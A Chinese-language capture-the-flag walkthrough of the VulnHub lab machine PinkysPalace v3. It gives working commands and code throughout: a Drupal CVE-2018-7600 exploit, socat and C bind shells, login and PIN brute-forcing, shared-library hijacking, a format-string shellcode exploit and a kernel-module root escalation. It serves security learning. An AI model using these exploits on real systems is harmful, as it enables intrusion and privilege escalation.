|
项目三十六:PinkysPalace-v3靶机渗透:
一、前言:
1.环境说明:
靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v3,237/
靶机难度:高级(CTF)
靶机描述:
无???!!!。
2.目标:
目标:得到root权限&找到flag.txt
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
二、步骤:
挂马前:
1.信息收集:
1)首先需要了解靶机的ip地址和开放的端口信息,这里发现开放了3个端口信息。
arp-scan -l
192.168.220.199
nmap 192.168.220.199 -p-
21/tcp open ftp
5555/tcp open freeciv
8000/tcp open http-alt
2)这里使用命令探测详细的信息,这里的ftp开放了匿名登录,登录去收集信息。
nmap -sS -sV -A 192.168.220.199 -p 21,5555,8000
21/tcp open ftp vsftpd 2.0.8 or later
ftp-anon: Anonymous FTP login allowed (FTP code 230)
5555/tcp open ssh
8000/tcp open http nginx 1.10.3
http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: PinkDrup
|_http-server-header: nginx/1.10.3
3)登录ftp来收集信息,发现这里有一个文件WELCOME,将文件下载下来。没有发现什么有用的信息,这里还需要使用 ls -al来进行详细的查看。
ftp 192.168.220.199
Anonymous
get WELCOME
cd ...
4)发现这里是防火墙的提示信息,要是没有这个提示信息,应该想不到作者会将tcp的流量都禁掉。这里的提示信息说明不能回弹shell。
#!/bin/bash
#FIREWALL
iptables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
ip6tables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
2.web渗透:
1)这里直接访问网页的信息,发现这里的CMS是drupal,同时发现这里有一个登录框。

2)使用工具来爆破网页信息,发现这里有不少的文件。这里发现了CMS的框架版本,这里的drupal 7.57有一个远程代码执行漏洞。
/.editorconfig 配置文件
/.gitignore 配置文件
/CHANGELOG.txt Drupal 7.57
/INSTALL.mysql.txt
3)使用谷歌搜索到这里有一个CVE-2018-7600的漏洞信息。这里使用github上找到的漏洞利用脚本。
4)首先测试脚本是否可用,使用命令来测试。这里发现脚本可用使用,这里发现脚本可用使用,但是没有办法去回弹shell。因为这里的防火墙规则,将回弹的流量直接拦截了。
python cve-2018-7600-drupal7.py -h
python cve-2018-7600-drupal7.py -t 192.168.220.199 -p 8000 -c"cat /etc/passwd"

5)这里需要架设一个隧道来绕过防火墙的规则,这里使用的是socat,这里需要使用反引号来引入,然后建立一个shell。
socat
1)可用做一个稳定的shell
2)socat做端口转发
3)socat绕过防火墙
python cve-2018-7600-drupal7.py -t 192.168.220.199 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000
python cve-2018-7600-drupal7.py -t 192.168.220.199 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000
socat FILE:`tty`,raw,echo=0 TCP:192.168.220.199:4444

挂马后:
1.靶机信息收集:
1)这里由于防火墙的规则,现在没有办法去上传文件,这里有两种方式来绕过防火墙,一种是使用scp或者是直接复制文本信息。首先选择直接复制文本信息。
2)这里将文件转成base64加密方式,然后使用vi来移动到靶机中,使用md5来测算一下是否正确。
base64 linpeas.sh >1.txt
cat 1.txt |base64 -d >linpeas.sh
md5sum linpeas.sh
3)这里开始进行信息收集,这里发现本地还有网站端口和数据库端口。
pinksecmanagement127.0.0.1:3306
127.0.0.1:80
127.0.0.1:65334
dpink
drupink
pinksecmanagement
pinksec
pinky
pinky pinksecmanagement 7.3K May 14 2018 /usr/local/bin/PSMCCLI


4)这里首先登录数据库,来查看里面的账户信息。这里发现一个新的用户信息和密码值。发现密文无法去识别。
mysql -udpink -pdrupink
show databases;
use drupal;
show tables;
select * from users;
pinkadmin
$S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup
5)这里搭建的有本地网页端口和数据库端口,使用命令将本地的端口映射出来。
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:9999,fork TCP:127.0.0.1:65334 &
netstat -ntulp

2.pinkadmin用户:
1)这里将端口映射出来后,使用nmap来进行探查。这里发现端口开启,然后使用命令来仔细探测其端口服务信息。
nmap 192.168.220.199 -p 8888,9999
8888/tcp open sun-answerbook
9999/tcp open abyss

nmap -sS -sV -A 192.168.220.199 -p 8888,9999
8888/tcp open http Apache httpd 2.4.25 ((Debian))
9999/tcp open http Apache httpd 2.4.25 ((Debian))
2)发现两个都是网页信息,那么直接访问,发现8888这里是一个登录界面,9999是一个数据库还在建设的页面信息。

DATABASE Under Development
3)这里的登录界面还有pin值,先抓包查看一下。发现这里有pin值,来进行模糊测试。直接使用burpsuite来爆破没有办法突破pin值。这里使用模糊测试就不需要管pin值。

4)这里需要爆破数据库,进行模糊测试。爆破数据库的方式。这里的数据库还在建设中,但是里面肯定有文件,使用命令来探测里面的文件。这里发现有pwd文件,猜测是密码文件。
数据库的文件类型:
db
sql
txt
mdb
lst
locate common-tables .
cp /usr/share/sqlmap/data/txt/common-tables.txt .
wfuzz -w /usr/share/sqlmap/data/txt/common-tables.txt --sc 200 http://192.168.220.199:9999/FUZZ.db
--sc(show code) ---显示响应200
第一位置 FUZZ
第二位置 FUZ2Z

5)使用页面去访问这个信息,发现这个应该是密码信息。这里使用hydra来进行爆破,就可以爆破出密码和账户信息。
http://192.168.220.199:9999/pwds.db
FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
pinkyspass
consoleadmin
administrator
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
pinksec133754
6)这里使用burpsuite来进行爆破,这里发现出现错误,看来还是需要使用wuffz来进行爆破处理。这里爆破出密码和账户信息。
gedit 2user.txt
pinksecmanagement
pinksec
pinky
pinkadmin
wfuzz -c -z file,./2user.txt -z file,./2pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=11111' --hh 45 http://192.168.220.199:8888/login.php
pinkadmin AaPinkSecaAdmin4467

7)下面还需要了解pin,这里的pin猜测是一种K盾,就是类似于银行账户登录时所用的U盾。但是这里的K盾都是数字,而且数字顺序不可能过高,这里使用crunch 来生成字典爆破pin值。爆破出pin值。
crunch 5 5 1234567890 > pin
wfuzz -t 150 -w pin -c -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" --hh 41,45 http://192.168.220.199:8888/login.php
55849
拓展:
1)如果不知道有文件怎么办,这里可以使用crunch来生成字典文件。这里生成将近百万行的字典,
cupp ----社工字典生成
crunch ---纯字典生成器
crunch 1 4 abcdefghijklmnobqrstuvwxyz1234567890 > yugong
wc -l yugong
2)生成文件类型文件,这里同样可以爆破出文件类型。
db.txt:
mdb
db
sql
txt
lst
wfuzz -t 100 -w yugong.txt -w db.txt --sc=200 -c http://192.168.4.203:9999/FUZZ.FUZ2Z
3)这里对账户密码暴力破解,这里不需要管pin值,这里只需要管账户就好。这里大概要爆破3个小时,使用hydra需要爆破10个小时左右。
wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=22222' http://192.168.220.199:8888/login.php
可以看到回显的是错误:45 Ch
wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=11111' --hh 45 http://192.168.4.203:8888/login.php
参数说明:
-c 用颜色输出,如果不加,那么输出的是没有任何颜色
-z 指定有效的payload(类型,参数,编码,字典等)
-d 指定提交的POST数据,一遍是POST请求的data数据 这里指的就是 "user=FUZZ&pass=FUZ2Z&pin=11111"
-hh 表示隐藏字符的响应信息 本例子中账户密码错误的显示响应的字符是45,正确的是显示41
4)这里发现值不同,只有一个41,那么这里的41就是正确的值。
pinkadmin aPinkSecaAdmin4467
5)这里登录,发现一个命令执行框,那么可以使用socat来获取一个shell。这里第二次直接给CPU爆崩了,这里就不截图了。
pinkadmin
AaPinkSecaAdmin4467
55849
6)利用socat来拿取一个shell,登录后执行命令,继续利用socat。
socat TCP-LISTEN:6666,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
socat FILE:`tty`,raw,echo=0 TCP:192.168.220.199:6666
成功拿到反弹shell!
4.pinksecmanagement用户:
1)这里发现上传的脚本不见了,这里应该做了隔离,重新复制脚本进行信息收集。
2)复制脚本进行信息收集,这里的程序,进入pinksec,发现这里一个文件,这个文件是pinksecmanagement权限和用户,但是在pinksec目录下。
-rwsr-xr-x 1 pinksecmanagement pinksecmanagement 7.4K May 13 2018 /home/pinksec/bin/pinksecd
-rwsrwx--- 1 pinky pinksecmanagement 7.3K May 14 2018 /usr/local/bin/PSMCCLI
3)去查看这个文件,发现这是一个32的可执行文件,这里有两种方式将文件下载回kali中
4)第一种方式还是直接复制,使用base64进行编码后复制回kali中。
base64 pinksecd >2.txt
cat 2.txt |base64 -d>pinksecd
第二种方式,直接将文件复制到网页中,在网页中进行下载。
cd /home/pinksec/bin/
cp pinksecd ../html
这时候就能在web页面访问了!

5)这里运行发生错误,查看错误的信息,发现这里缺少有关的库,所以还是需要会靶机中运行。
./pinksecd: error while loading shared libraries: libpinksec.so: cannot open shared object file: No such file or directory

6)但是这里可以使用gdb来进行分析,没有发现缓冲区溢出的函数。
info function

7)这里既然运行的时候报错,那么使用ldd来查看,发现这里缺少环境,还是回靶机里进行提权。
ldd pinksecd
linux-gate.so.1 (0xf7eea000)
libpinksec.so => not found
libc.so.6 => /lib32/libc.so.6 (0xf7cdb000)
/lib/ld-linux.so.2 (0xf7eec000)
8)既然确实这个库,那么回到靶机中找这个库文件,
find / -name libpinksec.so 2>/dev/null
9)制作钓鱼文件的时候,exe二进制程序,是vs写出来的,底下是有 .c .h .so......
一键生成exe文件,
10)学过UDF提权的都知道,可以创建 .so恶意库文件,该程序调用了 .so库文件,那么这里可以创建或者替换.so库文件,写一个恶意库文件,让程序调用后反弹shell !!!
find / -name libpinksec.so 2>/dev/null
/lib/libpinksec.so
ls -la /lib/libpinksec.so
-rwxrwxrwx 1 root root 7136 May 14 2018 /lib/libpinksec.so
11)发现这个程序可以写入,那么可以尝试写入shell文件。
Linux共享对象:
在Linux上可以使用C语言创建两种共享库。
1)静态链接库:它们保存为 .a 文件并作为应用程序的一部分进行链接。
2)动态链接库:它们保存为 .so 文件并在运行时加载。
动态库是在运行时加载的,分配给它们的地址可能会随着每次调用而改变,因此库代码与位置不是非常重要(它不应该依赖于任何固定的内存地址)。在制作.so文件之前,需要了解.so文件中的内容。通常是一个.so文件的某些方法列表,也就是应用程序将使用的函数。
12)使用nm工具来查看函数的信息,这个需要覆盖.so文件.这里可以覆盖第一个函数,也可以覆盖多个函数。但是不要覆盖_init函数!!!
nm -g /lib/libpinksec.so
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
w _Jv_RegisterClasses
00002018 B __bss_start
w __cxa_finalize@@GLIBC_2.1.3
w __gmon_start__
00002018 D _edata
0000201c B _end
00000608 T _fini
000003ec T _init
U printf@@GLIBC_2.0
000005ab T psbanner
00000580 T psopt
000005d6 T psoptin
U puts@@GLIBC_2.0
许多函数,如_init,_fini,psbanner,psopt,psoption等,前两个是编译器使用的内置方式,可以根据需要覆盖它们, _init是加载库时调用的第一个方式。
13)使用程序来覆盖,这里先写入一个程序。之后编译生成恶意库文件。
vi shell.c
#include <stdlib.h>
int psbanner() {
return system(&#34;/bin/sh&#34;);
}
int psopt() {
return system(&#34;/bin/sh&#34;);
}
int psoptin() {
return system(&#34;/bin/sh&#34;);
}
可以使用以下gcc命令将此代码编译为共享库:
gcc -shared -o shell.so -fPIC shell.c
如果想要覆盖_init函数,请按如下方式编译代码(不建议不建议,可以导致程序奔溃):
gcc -shared -o shell.so -fPIC -nostartfiles shell.c
-shared ---生成共享目标文件。通常用在建立共享库时。
https://www.runoob.com/w3cnote/gcc-parameter-detail.html
-fPIC ---参数参考链接:
https://blog.csdn.net/Edidaughter/article/details/120276374?spm=1001.2101.3001.6650.10&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-10.pc_relevant_antiscanv2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-10.pc_relevant_antiscanv2&utm_relevant_index=17
-nostartfiles ---参考链接
http://blog.pickbox.cc/2007/07/06/GCC-命令行选项-nodefaultlibs-nostartfiles-nostdlib/
14)下面执行拿去权限,这里替换之后运行,拿到pinksecmanagement 权限。
vi shell.c
gcc -shared -o shell.so -fPIC shell.c
cp shell.so /lib/libpinksec.so
./pinksecd
uid=1001(pinksec) gid=1001(pinksec) euid=1002(pinksecmanagement) groups=1001(pinksec)
成功获得pinksecmanagement权限!

15)这里在程序中的权限,不是稳定的shell,这里会kail中生成ssh密钥后进行连接,获取一个bash 的稳定shell。
cd .ssh
ssh-keygen
echo &#39;id_rsa.pub
&#39; > authorized_keys
echo &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6SebydZHtJh2E0jrY8auk/gmTZDDKRwzNuLC7L8LaUGPVQZ0bJrTgW7js/TT0PvtjMcR1HS3p+FTyTNFw1jFm83u14SfSBlo44mLrweH82NEALpVi68Ebp8I6n72M33jh4OocAjMbPiK/YEIAZsVzmvPYybcIvlLl3BwByS5+qC1ZNCFFlypv+GsoUevIg1gW35r6sljTJFEBRlOKIU3nWratp39FV+xyONRTb80910ygHZb/bSxbz7DLwz/nDVQeAuGVgZ6lZkjZMr7qh65D71K0trBBUonxCyOmoLtdSCH4GKk9DtkB23oCUdJJarK/o81chb4Z2kg97gN9u85mDGnnolJdWXfC0nKCpuJaEG2bOzkcQSd+ICGlYpZ4GDctxPEDIODTOb3yF3ZDa+zIqDBHCZQwQHBjuIABUv52Z/MKPl2g+2LfzQ+Mk2iVN5pRyWSOPWYHc1OLPm9fNPqbdJWC0hlmPMvVmEPjEBr/CqNW07l1K6tgVgHWu0bbSUk= root@kali&#39; >authorized_keys
ssh pinksecmanagement@192.168.220.199 -i id_rsa -p 5555

5.pinky用户:
1)这里稳定shell之后,利用脚本进行信息收集,发现这里有程序是root执行的。
You can write SUID file: /usr/local/bin/PSMCCLI

2)首先去查看一下程序的权限,发现是pinky的权限,同时是32位的可执行程序。这里应该是缓冲区溢出。
3)这里将程序复制出来,同样使用base64进行复制。
cat 5.txt|base64 -d >PSMCCLI
4)测试是否有溢出,发现居然没有溢出?难道没有缓冲区溢出么?使用strings来静态分析。发现这里有putchar函数,这个函数有格式字符串缓冲区溢出!!!
./PSMCCLI $(python2 -c &#39;print &#34;A&#34;20000&#39;)

5)进入gdb来分析,打开后查看功能模块。
info functions
disas main
print --两个
putchar ---存在格式字符串缓冲区溢出
格式字符串
%x %n
6)查看这里有没有开启什么安全模式,发现这里开启了只读重定向,代表每次运行程序,栈堆的位置都会发生改变。
ELF 安全特性检查工具:hardening-check
参考文章:
http://manpages.ubuntu.com/manpages/trusty/man1/hardening-check.1.html
执行完会提示安装,安装下即可!1分钟~
PSMCCLI:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: no, only unprotected functions found!
Read-only relocations: yes
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: no, not found!


7)格式字符串允许利用两个基本的攻击向量:
- 直接内存访问:使用 %x 格式字符串和位置值,可以打印或访问堆栈中的任何内存位置。
- 写入位置的能力:可以使用 %n 格式字符串写入任何位置,%n 将到目前为止打印的字符数写入所选位置。
%x ------发现位置值,任何位置值
%n -------写入任何位置 (写入shellcode)
hn ------执行 (写exp)
8)shellcode编写,利用格式字符串漏洞,通常将shell代码放在环境变量中,并将程序流重定向到环境变量的地址即可!将偏移量移/tmp目录中,并对其进行排序。
http://shell-storm.org/shellcode/files/shellcode-827.php
char *shellcode = &#34;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69&#34;
&#34;\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&#34;;
export SPAWN=$(python -c &#34;print &#39;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&#39;&#34;)
###这里需要注意的是,SPAWN的值是可变的,但是如果内存中出现 0xffffff代表这个值是无效值,需要退出重新写入
9)定位环境变量的地址,思路是覆盖 putchar函数,因为它是printy之后的下一个函数,要获取需要覆盖的位置,在运行程序之前,先拆装了putchar函数,方便包含它在运行时加载的地址。
disas argshow
disas putchar
0x804a01c

10)当环境变量中植入shellcode后,需要找到覆盖函数的地址,这里有一个找到植入shellcode的地址脚本。
https://raw.githubusercontent.com/Partyschaum/haxe/master/getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf(&#34;Usage: %s <environment variable> <target program name>\n&#34;, argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf(&#34;%s will be at %p\n&#34;, argv[1], ptr);
}
11)将其保存到tmp目录下面,运行脚本,发现这里给出了提示信息。
nano getenvaddr.c
gcc -o getenvaddr getenvaddr.c
chmod +x getenvaddr
./getenvaddr
Usage: ./getenvaddr <environment variable> <target program name>
用法:./getenvaddr <环境变量> <目标程序名>
12)前面已经将shellcode放入环境变量中,现在可以使用SPAWN在执行目标二进制文件期间找到环境变量在内存中的位置。
./getenvaddr SPAWN /usr/local/bin/PSMCCLI
SPAWN will be at 0xbffffe91
shellcode地址:0xbffffe91 ---要覆盖的内存地址
putchar地址:0x0804a01c ---写入的地址
所以此时有两个地址,需要将shell代码的地址写入putchar的指针存放位置。
13)确认Args位置,此时有两个地址需要将shellcode代码的地址写入putchar的指针存放位置。
现在的目标是在参数中引入一些地址并尝试访问它们,在参数中引入了两个地址 AAAA和BBBB,还需要第三位填充 CCC
/usr/local/bin/PSMCCLI AAAABBBBCC$(python -c &#34;print &#39;%x.&#39;*138&#34;)
#这里内存中回显的值一定要是连贯的值,不能有分散。

拓展:
1)找到空间的位置,但是需要主要的是这里的内存值不可能超过 1-65535,因为这里对应着1-ffff。
2)这里出现值不对,可以有两种调整方式。
3)一种是 在 %x 之前加入0,要是4141或4242之前有0,这里可以填充0来消除。
4)要是值一直不对,可以更改填充值 C的数量,比如减少C或者是增加 C。
5)这里的数字也是可以更改的,但是不建议该太大,容易看花。
14)这里还需要确认位置,测试出来都是4141414142424242代表确认正确位置。这里需要不断调整 数值和 %x中间的0.
/usr/local/bin/PSMCCLI AAAABBBBCC%135\$x%136\$00x

15)这里需要确定前半段exp的地址,现在需要访问 putchar指针的地址(需要修改的地址),这里是0x804a01c,32位架构中的内存为4字节(32位)大小,然后将使用格式字符串漏洞进行写入也就是两字节写入,所以需要把地址分为两个字节。
低位地址:0x804a01c
高位地址:0x804a01e (初始地址+2)
地址字节的顺序是颠倒写的:
/usr/local/bin/PSMCCLI $(printf &#34;\x1c\xa0\x04\x08\x1e\xa0\x04\x08&#34;)CC%135\$x%136\$00x

前半部分可以访问所需的地址值基本确定。
16)exp确认后半段地址值,只需要将%x 更改为 %n即可,使用%x 访问的内存位置。发现这里出现了段地址错误。
这边出现了分段错误,因为 %n 会将到目前为止已经打印的字符数字写入正在访问的内存中,上面的代码会将 10(0xb)写入高位和地位存储短字节中,这是一个非法地址,所以会报错!!!
/usr/local/bin/PSMCCLI AAAABBBBCC%135\$x%136\$00n
Segmentation fault
17)shellcode地址位置计算,需要将值 0xbffffe91 写入内存字节中,每个短字节最多能容纳 0xffff,因此需要将值拆分为两个短字节。
shellcode地址: 0xbffffe91
低位短字节: 0xfe91 =65169
高位短字节: 0xbfff = 49151
/usr/local/bin/PSMCCLI AAAABBBBCC%135\$x%136\$0x
AAAABBBBCC(10个字节)两个四字节和三个C填充!
前半部分 = 49151
后半部分 = 65169 -10 =65159
接下来使用%u格式说明符来引入那么多额外的字符即可!
18)整体溢出思路写法,现在修复了低位短字节,需要将 0bfff写入 高位短字节 然后 0xbfff 低于0x fe93
这里需要将 0x1bfff-0xfe91 =49518
来写入所需的0xbfff的值!!
这里千万要直接减,不要转换再减,会出错!!!
usr/local/bin/PSMCCLI $(printf &#34;\x1c\xa0\x04\x08\x1e\xa0\x04\x08&#34;)CC%65159u%135\$hn%49518u%136\$hn
hn ----指printf进行短位字节
最终payload:
/usr/local/bin/PSMCCLI $(printf &#34;\x1c\xa0\x04\x08\x1e\xa0\x04\x08&#34;)CC%65159u%135\$0hn%49518u%136\$0hn
19)这里溢出后拿到pinky的权限,但是这个shell也不稳定,使用ssh继续创建密钥后连接。

echo &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZrgydicrc1whpFmBt1Fwv59P8TK40YXUHEx70PGfFGe14q+2ISBf2uhsWZEphMUEhJBMagJAG9Ji70d2g2RQhbfWc4nXPh1hunDUqOAtpD5fRewwMNjSzi5QjPruBJoc3vY3QAMW8kXGC7apJqqOHic9ydX8wtclntUOWT7Xd1ofats1OrZzgtGQ6lUM72nUxZlcPcNHoEB+NUYsY77D98rzVF3vGXuFZsSAxDtqbRg84vYALy8rVBuUPVSaAyNIcAQt3KPbELc1nJoMTLLLhsj8gHpPDwB0eA0rHMUdAVGdrkK+MQPaYl+OKgk74bkWEuKAvHS7vKTaHCAU5Ck/h3Lm3F3mRaFhPEhAOe9lUlGGSXYQG97rWPBDFEnR3hD/jU21JAnaDGxbYvzbdIuSzoVZxIPkARntDb11/0VZtasBnEAO+oLdPBsTK04GLh2LAU2M4CFMR5SbzIVkNFCjetrraBqRhvgXz1aoYDwnx+0m9aqchu+OIYRQaBDVDfGk= root@kali&#39; >authorized_keys
20)这里看到连接成功,成功获取pinky的权限。
6.root提权:
1)这里还需要进行root提权,首先上传脚本进行信息收集。
(ALL) NOPASSWD: /sbin/insmod
(ALL) NOPASSWD: /sbin/rmmod

2)这里使用sduo -l来查看,去查看这两个命令的漏洞库。发现没有,这里先使用谷歌搜索吧。。。这里发现中文文献没有关于这个提权,只找到一份英文文献。。。我英文不太好,这利用起来有点难。
https://developer.ibm.com/articles/l-user-space-apps/
3)看了半天,还是问人之后解决了问题。这里可以通过先绕过防火墙,然后再利用sudo insmod底层的来绑定绕过防火墙的脚本来实现提权。
4)这里先编写一个绕过防火墙的脚本,这里的防火墙将所有tcp的流量都过滤了。
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char* argv[]) {
int host_sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in host_addr;
host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(atoi(argv[1]));
host_addr.sin_addr.s_addr = INADDR_ANY;
bind(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));
listen(host_sock, 0);
int client_sock = accept(host_sock, NULL, NULL);
dup2(client_sock, 0);
dup2(client_sock, 1);
dup2(client_sock, 2);
execve(&#34;/bin/bash&#34;, NULL, NULL);
}
5)首先测试一下是否绕过防火墙,测试这里是否绕过防火墙,这里成功绕过防火墙。那么下一步就是绑定sudo的命令。
gcc -m32 -o bindshell bindshell.c
./bindshell 4455
nc x.x.x.x 4455

6)逻辑上是无法反弹nc,但是命令可以执行sudo提权命令,可是这个命令就是需要回弹shell。那么就执行命令的时候来调用脚本回弹shell。
这里编写一个内核模块,调用绑定的/tmp/yugong/bindshell 来监听7777/tcp,这里创建root1.c文件。
参考:https://developer.ibm.com/articles/l-user-space-apps/
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
char *argv[] = { &#34;/tmp/yugong/bindshell&#34;, &#34;7777&#34;, NULL };
static char *envp[] = {
&#34;HOME=/tmp/&#34;,
&#34;TERM=xterm&#34;,
&#34;PATH=/sbin:/bin:/usr/sbin:/usr/bin&#34;, NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return 0;
}
void cleanup_module(void)
{
printk(KERN_INFO &#34;Goodbye!&#34;);
}
9)还需要引入文件头,创建一个Makefile,然后编译文件,使用make来编译文件。
obj-m += root1.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make
10)这个时候在使用sduo来调用执行root权限的命令,本地查看是否开启了7777端口信息。
这里发现开启了7777端口后,使用命令来监听,发现这里是root权限。
sudo -l
sudo insmod root1.ko
netstat -ntulo
nc 192.168.220.199 7777

11)这里利用python来稳定一下shell,发现不行,看来只能这样用。这里获取flag。

三、总结与反思:
1.问题:
a.当时一直没有办法回弹shell
因为文件头需要和写入的程序名要相同
b.没有办法缓冲区溢出,这里的计算器有问题。不能单个计算。
2.总结:
1)使用drupal 5.17来获取权限
2)使用wuffz来获取pinkadmin账户
3)共享文件提权获取pinksecmanagement用户权限
4)格式缓冲区溢出获取pinky权限
5)这里利用脚本来桡过防火墙
6)利用sudo来提取root权限
3.参考文献:
passive密钥
CVE-2018-7600
crunch生成字典
共享文件库
共享提权参考1
Hardening-check工具安装
pinkit的shell
内核模块调用 |
|